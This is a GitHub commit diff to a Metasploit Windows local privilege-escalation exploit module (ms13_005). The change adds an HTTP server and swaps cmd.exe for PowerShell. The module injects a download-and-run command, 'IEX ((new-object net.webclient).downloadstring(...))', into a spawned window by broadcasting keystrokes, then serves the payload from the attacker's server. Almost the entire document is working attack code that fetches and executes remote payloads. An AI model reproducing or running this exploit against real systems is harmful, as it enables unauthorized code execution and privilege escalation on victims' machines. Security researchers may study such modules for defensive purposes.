Skip to content

Commit d3f3e5d

Browse files
committed
Working with psh download
1 parent b99ad41 commit d3f3e5d

File tree

1 file changed

+30
-22
lines changed

1 file changed

+30
-22
lines changed

modules/exploits/windows/local/ms13_005.rb

Lines changed: 30 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Local
1313
Rank = ExcellentRanking
1414

1515
include Msf::Exploit::EXE
16+
include Msf::Exploit::Remote::HttpServer
1617

1718
def initialize(info={})
1819
super( update_info( info,
@@ -39,7 +40,7 @@ def initialize(info={})
3940
],
4041
'Platform' => [ 'win' ],
4142
'SessionTypes' => [ 'meterpreter' ],
42-
'Targets' =>
43+
'Targets' =>
4344
[
4445
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
4546
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
@@ -60,7 +61,7 @@ def initialize(info={})
6061
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true])
6162
], self.class
6263
)
63-
64+
6465
register_advanced_options(
6566
[
6667
OptBool.new('EEGG', [false, '',])
@@ -70,38 +71,36 @@ def initialize(info={})
7071

7172
def win_shift(number)
7273
vk = 0x30 + number
73-
bscan = 0x81 + number
74+
bscan = 0x81 + number
7475
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
7576
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
76-
sleep(0.01)
7777
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
78-
sleep(0.01)
79-
8078
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
8179
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
8280
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
8381
end
84-
82+
8583
def count_cmd_procs
8684
count = 0
8785
client.sys.process.each_process do |proc|
88-
if proc['name'] == 'cmd.exe'
86+
if proc['name'] == 'powershell.exe'
8987
count += 1
9088
end
9189
end
92-
90+
9391
vprint_status("Cmd prompt count: #{count}")
9492
return count
9593
end
96-
94+
9795
def cleanup
9896
if datastore['SPAWN_PROMPT']
9997
vprint_status("Rehiding window...")
100-
client.railgun.user32.ShowWindow(@hwin, 0)
98+
#client.railgun.user32.ShowWindow(@hwin, 0)
10199
end
102100
end
103101

104-
def exploit
102+
def primer
103+
start_service
105104
# syinfo is only on meterpreter sessions
106105
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg=="
107106
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
@@ -111,14 +110,14 @@ def exploit
111110
if @hwin == nil
112111
@hwin = client.railgun.user32.GetForegroundWindow()['return']
113112
end
114-
#client.railgun.user32.ShowWindow(@hwin, 0)
115-
#client.railgun.user32.ShowWindow(@hwin, 5)
113+
client.railgun.user32.ShowWindow(@hwin, 0)
114+
client.railgun.user32.ShowWindow(@hwin, 5)
116115

117116
# Spawn low integrity cmd.exe
118117
print_status("Spawning Low Integrity Cmd Prompt")
119118
windir = client.fs.file.expand_path("%windir%")
120-
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
121-
119+
li_cmd_pid = client.sys.process.execute("powershell.exe", nil, {'Hidden' => false }).pid
120+
122121
count = count_cmd_procs
123122
spawned = false
124123
# Bruteforce taskbar position Win+Shift+?
@@ -139,17 +138,26 @@ def exploit
139138

140139
fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned
141140
end
142-
141+
143142
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
144-
payload = Rex::Text.decode_base64(e) if datastore['EEGG']
145-
payload.each_char do |c|
146-
print c
143+
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
144+
url = get_uri()
145+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
146+
command = download_and_run
147+
command = Rex::Text.decode_base64(e) if datastore['EEGG']
148+
command.each_char do |c|
149+
print c if command.length < 200
147150
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
148-
sleep(0.01)
149151
end
150-
print_line
152+
print_line
151153
print_status("Executing command...")
152154
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
153155
end
156+
157+
def on_request_uri(cli, request)
158+
print_status("Delivering Payload")
159+
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
160+
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
161+
end
154162
end
155163

0 commit comments

Comments
 (0)